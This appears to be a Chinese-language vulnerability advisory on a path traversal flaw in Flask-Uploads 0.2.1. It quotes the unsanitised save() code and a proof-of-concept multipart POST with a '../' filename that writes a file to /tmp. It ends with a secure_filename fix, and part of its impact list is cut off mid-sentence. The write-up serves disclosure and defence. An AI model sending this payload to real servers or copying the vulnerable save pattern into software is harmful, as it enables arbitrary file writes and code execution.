在 Flask-Uploads 0.2.1 版本中存在一个严重的路径遍历漏洞。该库在将上传文件保存到文件系统之前,未能正确清理文件名。
具体来说,flask_uploads.py 中的 save() 方法直接使用 os.path.join() 将上传目标路径与用户提供的文件名拼接起来。这使得攻击者可以在文件名中包含目录遍历序列(例如 ../../),从而将文件写入服务器文件系统上的任意位置。
文件:flask_uploads.py(v0.2.1 第 132 行)
def save(self, storage, filename=None):
if filename is None:
filename = storage.filename
# VULNERABLE CODE: No sanitization of 'filename'
target = os.path.join(self.destination, filename)
storage.save(target)
return filename
该库依赖开发者自行清理文件名,但库的文档暗示它能安全处理文件上传。默认情况下,如果开发者直接使用请求中的原始文件名,就会导致漏洞。
ssh_host_key、配置文件)。.php、.py)上传到 Web 服务器执行的目录(如 cgi-bin 或已知静态文件夹),攻击者可以在服务器上执行任意命令。攻击者可以通过发送带有构造文件名的 POST 请求来利用该漏洞:
POST /upload HTTP/1.1
Host: target.com
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary
------WebKitFormBoundary
Content-Disposition: form-data; name="file"; filename="../../../../../tmp/pwned.txt"
Content-Type: text/plain
HACKED
------WebKitFormBoundary--
如果服务器使用 Flask-Uploads 保存该文件,它将被写入 /tmp/pwned.txt 而不是预期的上传目录。
该库应使用 os.path.abspath 和 startswith 验证拼接后的路径是否在目标目录内,或者始终使用 werkzeug.utils.secure_filename 等清理函数。
推荐修复:
from werkzeug.utils import secure_filename
# ...
filename = secure_filename(filename)
target = os.path.join(self.destination, filename)